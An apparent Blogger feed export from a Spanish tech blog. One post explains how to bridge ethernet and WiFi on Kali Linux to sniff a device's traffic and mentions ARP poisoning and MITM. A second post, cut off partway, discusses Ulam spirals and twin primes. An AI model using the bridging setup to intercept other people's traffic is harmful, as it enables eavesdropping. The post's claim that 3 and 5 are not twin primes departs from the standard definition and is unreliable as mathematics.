<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8271906505880634956</id><updated>2026-03-19T09:43:43.524-07:00</updated><category term="hack"/><category term="android"/><category term="zosemu"/><category term="como se hace"/><category term="python"/><category term="x25 conferences"/><category term="mac2wepkey"/><category term="seguridad"/><category term="windows"/><category term="conferencias de seguridad"/><category term="obtener contraseñas"/><category term="opiniones"/><category term="cambiando las reglas"/><category term="configurar equipos"/><category term="eventos"/><category term="hackear"/><category term="hawei"/><category term="vulnerabilidades"/><category term="2wire"/><category term="acceder a windows sin contraseña"/><category term="acceso windows 7 sin contraseña"/><category term="artículos"/><category term="cambiar contraseña de administrador"/><category term="cibercrimen"/><category term="ciberdelincuencia"/><category term="clonar"/><category term="contraseñas"/><category term="cookies"/><category term="código"/><category term="estegranografía"/><category term="linux"/><category term="localizar particiones de Android"/><category term="messenger"/><category term="recuperar archivos"/><category term="root motorola xoom"/><category term="rooteando"/><category term="routers"/><category term="scripts"/><category term="seguridad informática"/><category term="sesiones"/><category term="software libre"/><category term="telmex"/><category term="virus"/><category term="viva mexico"/><category term="wep"/><category term="wepkeys"/><category term="xp"/><category term="2 de octubre"/><category term="Abduction World Attack"/><category term="CUM"/><category term="FAT"/><category term="FIL"/><category term="FLISOL"/><category term="Forzar Windows a Cerrar"/><category term="GRUB"/><category term="Historias sin tiempo ni espacio"/><category term="IFE"/><category term="Image Magic"/><category term="Kali"/><category term="NTFS"/><category term="OMSI"/><category term="Oaxaca"/><category term="PGR"/><category term="Pinotepa"/><category term="Pokémon GO"/><category term="SOPA"/><category term="SQLEditor"/><category term="STOP c000000218"/><category term="Xalapa"/><category term="access desde python"/><category term="actaulizar twitter desde python"/><category term="amarok"/><category term="amarok desde python"/><category term="amistad"/><category term="apagar windows"/><category term="applescript"/><category term="asaltos"/><category term="ayuda"/><category term="backtrack5 en xoom"/><category term="bicentenario"/><category term="bots"/><category term="brozo"/><category term="combinatoria"/><category term="como hacer una imagen para GRUB"/><category term="comunidad underground de méxico"/><category term="conexión de puente wifi a ethernet"/><category term="config esta dañado o no se encuentra"/><category term="configuración"/><category term="consultas"/><category term="cracking"/><category term="criptografía"/><category term="cronicas marcianas"/><category term="cuerpo"/><category term="cultura"/><category term="dark"/><category term="dark-ville"/><category term="darkville"/><category term="defensa"/><category term="delincuencia"/><category term="delincuentes"/><category term="descargas"/><category term="descargas libres"/><category term="detectives"/><category term="detener sincronización de tiempo en VirtualBox"/><category term="detenidos"/><category term="elecciones"/><category term="eliminar metadatos"/><category term="embrujada"/><category term="encuestas de tv"/><category term="error"/><category term="error en registro"/><category term="errores de sistema"/><category term="espiral de ulam"/><category term="evento"/><category term="exploit"/><category term="extraer datos de un archivo.mdb"/><category term="facultad de ciencias"/><category term="fedora"/><category term="fraude"/><category term="funciones"/><category term="ganarse el melate"/><category term="gnome 3"/><category term="gnome shell"/><category term="hack hotmail"/><category term="hack ético"/><category term="hi5"/><category term="histeria colectiva en Neza"/><category term="i1"/><category term="imagen en GRUB"/><category term="ingeniería inversa"/><category term="instalar xp"/><category term="instalar xp desde usb"/><category term="internet"/><category term="itunes desde terminal"/><category term="leyes"/><category term="libertad"/><category term="libertad de expresion"/><category term="m2wkuvz"/><category term="macosx"/><category term="manuales"/><category term="matématicas"/><category term="mdb-sql"/><category term="mdb-tools"/><category term="mikorte"/><category term="misterios"/><category term="mitm"/><category term="monopolio"/><category term="motorola"/><category term="mudanza"/><category term="netcat para clonar discos"/><category term="nextel"/><category term="no se puede arrancar windows"/><category term="números primos"/><category term="obtener metadatos de una imagen"/><category term="ocultar información"/><category term="odbc postgres falla"/><category term="once-tv"/><category term="osascript iTunes"/><category term="passwords"/><category term="pc"/><category term="perdidas"/><category term="perfilar"/><category term="personalizar GRUB"/><category term="peña nieto"/><category term="piratas"/><category term="png"/><category term="política"/><category term="porno"/><category term="postgresql en windows 7"/><category term="primos gemelos"/><category term="privacidad"/><category term="problemas con odbc pgsql"/><category term="proteccion"/><category term="protección"/><category term="proteger archivos"/><category term="puntos de combate máximos"/><category term="pyodbc"/><category term="recuperar archivos y directorios en android"/><category term="recuperar directorios"/><category term="recuperar passwords"/><category term="reiniciar windows"/><category term="reunión"/><category term="revolución"/><category term="robo de información"/><category term="robos"/><category term="romanos"/><category term="root"/><category term="root android"/><category term="sexo"/><category term="simplelite"/><category term="sistema de archivos"/><category term="sistemas operativos"/><category term="sl4a"/><category term="sniff avanzado"/><category term="sorteos"/><category term="sslstrip"/><category term="tabla de cambios"/><category term="taller de seguridad"/><category term="teletón"/><category term="televisa"/><category term="telmex HUB"/><category term="tolerancia"/><category term="trampas"/><category term="trucos"/><category term="tweepy"/><category term="twitter"/><category term="twitter desde terminal"/><category term="ubuntu"/><category term="ugalde"/><category term="usb"/><category term="utilidades"/><category term="vibrador"/><category term="ville"/><category term="windows 7"/><category term="windows 7 x64 no conecta con postgres"/><category term="windows 8"/><category term="windows no cambia la fecha del sistema"/><category term="windows vista"/><category term="xoom"/><category term="xp desde usb"/><title type='text'>El blog de ZoSemU?</title><subtitle type='html'>Soy un producto del ensueño de la razón, que cree qué si el futuro del mundo es open source, entonces porqué no colaborar con ese proyecto?</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>82</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3520022721805977699</id><published>2018-07-28T09:51:00.003-07:00</published><updated>2018-07-30T07:47:59.008-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="conexión de puente wifi a ethernet"/><category scheme="http://www.blogger.com/atom/ns#" term="Kali"/><category scheme="http://www.blogger.com/atom/ns#" term="sniff avanzado"/><title type='text'>Conexión de puente entre Ethernet y Wifi</title><content type='html'>Recientemente por cuestiones de estudio, tuve la necesidad de conectar un equipo a una computadora vía ethernet y luego suministrarle internet vía Wifi, la razón, estudiar el comportamiento de este equipo mediante un sniffer, aunque intenté con ARP-Poison, la verdad es que los resultados no eran del todo satisfactorios, supongo que por tratarse de un equipo muy limitado, como sea, aunque parecía una tarea sencilla y tenía una idea clara de como hacerlo, al final se me terminó complicando un poco, sin embargo buscando info en la red, pude armar una solución adecuada. Por lo que a modo de repaso lo voy a dejar aquí, quizá alguien más sienta curiosidad de hacer algo semejante (jeje).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Ingredientes:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;1 laptop (preferentemente, aunque puede usarse una all-in-one o una PC)&lt;/li&gt;
&lt;li&gt;1 equipo que funcione mediante ethernet (puede ser otra PC o incluso un switch con muchas PCs)&lt;/li&gt;
&lt;li&gt;1 distribución Linux (yo use Kali, pero pueden usar el sabor que más les guste)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Como en este caso Kali está basado en Debian, pues usaré apt-get para actualizar los repositorios e instalar lo necesario, pero básicamente funciona igual para otras distros, de cualquier forma si tienen dudas pueden dejar un comentario o twittear.&lt;br /&gt;
&lt;br /&gt;
Preparación:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# apt-get update
# apt-get install -y isc-dhcp-server bridge-utils&lt;/pre&gt;
&lt;br /&gt;
Una vez instalados los paquetes, necesitamos habilitar el enrutamiento, esto es lo que verdaderamente es necesario para cualquier tipo de conexión de puente, para ARP-Poison o para otro tipo de ataques MITM. También activo el enmascaramiento de paquetes del firewall.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# echo &quot;1&quot; &amp;gt; /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE&lt;/pre&gt;
&lt;br /&gt;
Lo siguiente es editar la configuración de las tarjetas de red, aquí use otro segmento completamente diferente para&amp;nbsp; &amp;nbsp;es poner otra IP para el puente y la asignación de IPs:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# nano /etc/network/interfaces
auto lo
    iface lo inet loopback

auto wlan0
    iface inet dhcp

auto br0
    iface br0 inet static
    address 13.0.0.1
    netmask 255.255.255.0
    bridge_ports eth0
    bridge_fd 0
    bridge_maxwait 0

auto eth0
    iface eth0 inet static
    address 13.0.0.2
    netmask 255.255.255.0
    broadcast 13.0.0.255
    gateway 13.0.0.1&lt;/pre&gt;
&lt;br /&gt;
Ahora toca configurar un servidor de DHCP de manera básica, aunque aquí pueden ser todo lo ingeniosos que quieran XD!!.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# nano /etc/dhcp/dhcpd.conf
subnet 13.0.0.0 netmask 255.255.255.0 {
    option domain-name &quot;h4x0r.net&quot;;
    range 13.0.0.3 13.0.0.100;
    option domain-name-servers 8.8.8.8, 8.8.4.4;
    option routers 13.0.0.1;
}

host dhcp-client {
  hardware ethernet 00:00:00:xx:xx:xx;
  fixed-address 13.0.0.101;
}&lt;/pre&gt;
&lt;br /&gt;
Ahora reiniciamos el servicio de red:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# service networking restart&lt;/pre&gt;
&lt;br /&gt;
Hecho lo anterior toca activar la ruta por defecto de los paquetes, suponiendo que tengamos la IP 192.168.1.20 para nuestra tarjeta Wifi, entonces:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# ip route add default via 192.168.1.20&lt;/pre&gt;
&lt;br /&gt;
Por último levantamos activamos y reiniciamos el servidor DHCP, para poner todo a trabajar:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;# systemctl enable isc-dhcp-server
# systemctl restart isc-dhcp-server&lt;/pre&gt;
&lt;br /&gt;
Y ahora a interceptar paquetes con lo que quieran, a mi particularmente me gusta usar Wireshark, pero en gustos se rompen géneros, SaluDoS!!</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3520022721805977699/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2018/07/conexion-de-puente-entre-ethernet-y-wifi.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3520022721805977699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3520022721805977699'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2018/07/conexion-de-puente-entre-ethernet-y-wifi.html' title='Conexión de puente entre Ethernet y Wifi'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-6294767088511404831</id><published>2017-08-04T13:36:00.000-07:00</published><updated>2017-08-04T15:20:13.638-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="espiral de ulam"/><category scheme="http://www.blogger.com/atom/ns#" term="números primos"/><category scheme="http://www.blogger.com/atom/ns#" term="primos gemelos"/><title type='text'>Espirales de Ulam, la belleza de los números primos.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Siempre he creído que hay un fantasma en Google que de alguna extraña forma, me lleva a no abandonar mi interés por los números primos. Está presencia por llamarla de alguna manera, recientemente me condujo a las &lt;a href=&quot;https://es.wikipedia.org/wiki/Espiral_de_Ulam&quot; target=&quot;_blank&quot;&gt;espirales de Ulam&lt;/a&gt;, la importancia que tienen estás, radica en que permite apreciar una patrón de los números primos a apilarse en diagonales, muchas de las cuales son más marcadas (densas) que otras, veamos un ejemplo sencillo para explicar de qué va esto:&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE8HribWSa84dTXd5KkIfs48wpOpp2q4ppqe0Z_jXmxQYD0UJzkz2U5_B83XQBuII7MklgMpeAOdBPOY3mURQRU5BCXRwoAv0abDWecZlCR14ffvHMic2E42Ei4uAXicelz7VWvPoomA/s1600/espiral.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;683&quot; data-original-width=&quot;1024&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE8HribWSa84dTXd5KkIfs48wpOpp2q4ppqe0Z_jXmxQYD0UJzkz2U5_B83XQBuII7MklgMpeAOdBPOY3mURQRU5BCXRwoAv0abDWecZlCR14ffvHMic2E42Ei4uAXicelz7VWvPoomA/s320/espiral.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
los números que están encerrados en un círculo, representan números primos, no importa si deseamos cambiar el sentido de la matriz, es decir iniciar hacia la izquierda, arriba o abajo:&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWKkkjm88qTNpcSJyyHZAzP2-irNnT3n0WpRTcmJCFmRrFnXZdYRfzkuQ25B4aajKC_kMLkYZwj7K1ZnlMdvNEUSj2jcu85PVlUpuGJeroHriebdkysLL45zjIrbKx5K6vO1JMrQjoUg/s1600/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.22.24.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;127&quot; data-original-width=&quot;560&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWKkkjm88qTNpcSJyyHZAzP2-irNnT3n0WpRTcmJCFmRrFnXZdYRfzkuQ25B4aajKC_kMLkYZwj7K1ZnlMdvNEUSj2jcu85PVlUpuGJeroHriebdkysLL45zjIrbKx5K6vO1JMrQjoUg/s400/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.22.24.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
la imagen demuestra que no importa el sentido de la espiral, los números se alinean de la misma forma, por lo que decidí adaptar el código de&lt;a href=&quot;http://mammut.github.io/c-codes/2010/10/14/matriz-en-espiral.html&quot; target=&quot;_blank&quot;&gt; Juan Pablo Escalona&lt;/a&gt;, para generar matrices de caracol para usarlo en Python:&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasXsuB-Qv3-AdMXfNmxmwD3poyqitQyQlMzmopiElSl_zjAlgr3d50Su9rx0hxRReHgGw0k5yqx-iCOxpYQmJ0zN0t-Rax4B-cFmWRZ4_8j3f9_CLvVgPNuWIKr5Rt5JdaIK1uwZWbQ/s1600/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.17.43.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;198&quot; data-original-width=&quot;412&quot; height=&quot;153&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasXsuB-Qv3-AdMXfNmxmwD3poyqitQyQlMzmopiElSl_zjAlgr3d50Su9rx0hxRReHgGw0k5yqx-iCOxpYQmJ0zN0t-Rax4B-cFmWRZ4_8j3f9_CLvVgPNuWIKr5Rt5JdaIK1uwZWbQ/s320/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.17.43.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
una vez adaptado y funcionando lo combiné con mi generador de números primos, un poco de PIL para pintar los números, aunque quizá en algún otro momento liberé ambos scripts, por ahora no lo haré, pero les dejo una de captura de pantalla de los resultados...&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheCGmD1WxbeKpi6NeAKVaGhTG6l7CWjZ6tBdSTn0en8vW8jqj7g2D8Vp-Y1Q9zAlz-5_qiQu4pFkbTwJo9fkrfXnV2stqf8VoHC4Z0zkCbYlxRmi6kk2W0IYTBfRy3vyryYPFZxYzNBw/s1600/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.52.06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;243&quot; data-original-width=&quot;921&quot; height=&quot;105&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheCGmD1WxbeKpi6NeAKVaGhTG6l7CWjZ6tBdSTn0en8vW8jqj7g2D8Vp-Y1Q9zAlz-5_qiQu4pFkbTwJo9fkrfXnV2stqf8VoHC4Z0zkCbYlxRmi6kk2W0IYTBfRy3vyryYPFZxYzNBw/s400/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+12.52.06.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
hice un par de ejercicios, en un primer momento construí una matriz de 999 x 999, luego fui más ambicioso y construí la matriz de 3161, ambas son igualmente hermosas y nos regalan una fascinante vista de estos escurridizos números, mientras analizaba la imagen obtenida haciendo zoom sobre ella, algo llamo mi atención, quizá esa cosa que tienen nuestros cerebros de encontrar formas, pero me pareció algo semejante a una ciudad, oculta en un cuadrante lejano al origen, por lo que me he propuesto para otro momento averiguar que números son específicamente, pero eso ya es otra historia y quizá sólo es un capricho mío...&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Los números primos gemelos merecen un capítulo aparte pues son aun más escurridizos que los números primos, estos tienen la singularidad de estar separados entre sí a penas por dos números, y, aunque la mayoría de los matemáticos sostienen hasta ahora que la primer pareja de primos está formada por 3 y 5, yo difiero de esto, pues en realidad todos los primos gemelos encajan en el patrón [G1 mod 3 = 2], [G2 mod 3 = 1], además de pertenecer a la forma [(G1&amp;nbsp;+ G2) mod 4 = 0], por lo que es un error desde mi humilde perspectiva creer que 3 y 5 sean gemelos, ya que no cumplen estás reglas, por lo que deberían establecer la primer pareja de gemelos como 5 y 7; como sea para apreciar mejor la distribución de los primos gemelos, también hice un pequeño experimento pintando de negro todos los números primos en las matrices y de rojo los primos gemelos, es evidente que estos aparecerán en líneas verticales y horizontales ya que no viajan solos (por decirlo de alguna manera jeje).&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Mi postulado respecto a los primos gemelos y la forma que tienen referente al módulo de 3 se puede apreciar también en las imágenes además de comprobar que la distancia mínima entre una pareja de gemelos y la siguiente es de mínimo 6 unidades y siempre existe una distancia en múltiplos de 6 entre estás, ejemplo: [(5,7), (11,13), (17,19), (29,31)] distancias [6,6,12].&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Como parte de mis investigaciones sobre los números primos he observado algo que llamo familias de números primos gemelos, es decir bloques enteros en los que los números primos gemelos son consecutivos entre sí, entre uno &amp;nbsp;y &amp;nbsp;diez millones existen sólo 439 de estás familias por lo que si ponen atención en una de las imágenes en dos colores podrán apreciar este fenómeno como una pequeña línea roja vertical u horizontal, las más comunes son aquellas que poseen seis miembros, es decir tres pares de primos gemelos consecutivos, la primera de estás familias es [179, 181, 191, 193, 197, 199], de estás hay 401 familias, 35 con 8 miembros y a penas 3 con 10 miembros, pero como esto es casi como buscar una aguja en un pajar (XD!!), decidí agregar una espiral más en donde pinté las familias de 6 miembros de color rojo, las de 8 de color verde y las de 10 de color azul...&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCftU4L1HeU6BYOIhDQBnecHlxw1ztHk2atEI720ho13hxZ4cuhYH1M1S0F_iMh9IHvCrglpfafYFDthceI-t3EVGbgIdM_5sLZif2xiWPSpj1OOva1rld6Puv2Kdf6UO7L2LnXWFlAg/s1600/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+14.15.41.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;117&quot; data-original-width=&quot;621&quot; height=&quot;75&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCftU4L1HeU6BYOIhDQBnecHlxw1ztHk2atEI720ho13hxZ4cuhYH1M1S0F_iMh9IHvCrglpfafYFDthceI-t3EVGbgIdM_5sLZif2xiWPSpj1OOva1rld6Puv2Kdf6UO7L2LnXWFlAg/s400/Captura+de+pantalla+2017-08-04+a+la%2528s%2529+14.15.41.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Finalmente dejo aquí abajo las imágenes de las que tanto he estado hablando, si alguien quiere publicarlas en otro sitio, agradecería me incluyeran en los créditos, también pueden dejar comentarios respecto a su opinión de lo que les recuerda, yo he estado pensando cosas tan disparatadas como &lt;a href=&quot;https://es.wikipedia.org/wiki/C%C3%B3digo_QR&quot; target=&quot;_blank&quot;&gt;códigos QR&lt;/a&gt; o &lt;a href=&quot;https://es.wikipedia.org/wiki/Juego_de_la_vida&quot; target=&quot;_blank&quot;&gt;The Game of Life&lt;/a&gt;, hasta vistas aéreas de ciudades antiguas, los exploradores de los antiguos astronautas dicen que sí!!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-vCKkoCIWlIDcPHK3jiv5oeKfAYVUyX9bj_hSVqLF_odxsEMYEuw3qfPFBTNVDWQK3otokLesjIpuBjpB35DOw3G8w5e004hfNzHzVTW3-i_iygq4pL99dgjFmfoBa201pZm9AoluUA/s1600/momo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;403&quot; data-original-width=&quot;697&quot; height=&quot;231&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-vCKkoCIWlIDcPHK3jiv5oeKfAYVUyX9bj_hSVqLF_odxsEMYEuw3qfPFBTNVDWQK3otokLesjIpuBjpB35DOw3G8w5e004hfNzHzVTW3-i_iygq4pL99dgjFmfoBa201pZm9AoluUA/s400/momo.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
SaluDoS!!!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGhT7ZBxzqIioivIhDPM3RAGIk37Egy3Dks8uc1gKVJIK-W8FBVqSPSJatab9sq5WnMfU17DLOmqbAVnDJcnFoJIbA-kQZWn_73s0OxdlafAhZyAzKqApx4PLYqbCTfHxcD4VZfaF54g/s1600/zosemu_ulam_999_black.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1600&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGhT7ZBxzqIioivIhDPM3RAGIk37Egy3Dks8uc1gKVJIK-W8FBVqSPSJatab9sq5WnMfU17DLOmqbAVnDJcnFoJIbA-kQZWn_73s0OxdlafAhZyAzKqApx4PLYqbCTfHxcD4VZfaF54g/s320/zosemu_ulam_999_black.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
La matriz de 999 x 999 en negro&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgriwc6H3KjMamL1npuyzbICjihqBP4kgbait6XfV_oXwdPhSr4JW8w0qWbfs6u_hjpXcJBKgvS0ySTGwBNf3LMQGMPrbmNWf5eMGvCNG2XMy8-h31GBpj17WWI6hMqndXwvAxAuuXqeQ/s1600/zosemu_ulam_999_red.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1600&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgriwc6H3KjMamL1npuyzbICjihqBP4kgbait6XfV_oXwdPhSr4JW8w0qWbfs6u_hjpXcJBKgvS0ySTGwBNf3LMQGMPrbmNWf5eMGvCNG2XMy8-h31GBpj17WWI6hMqndXwvAxAuuXqeQ/s320/zosemu_ulam_999_red.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
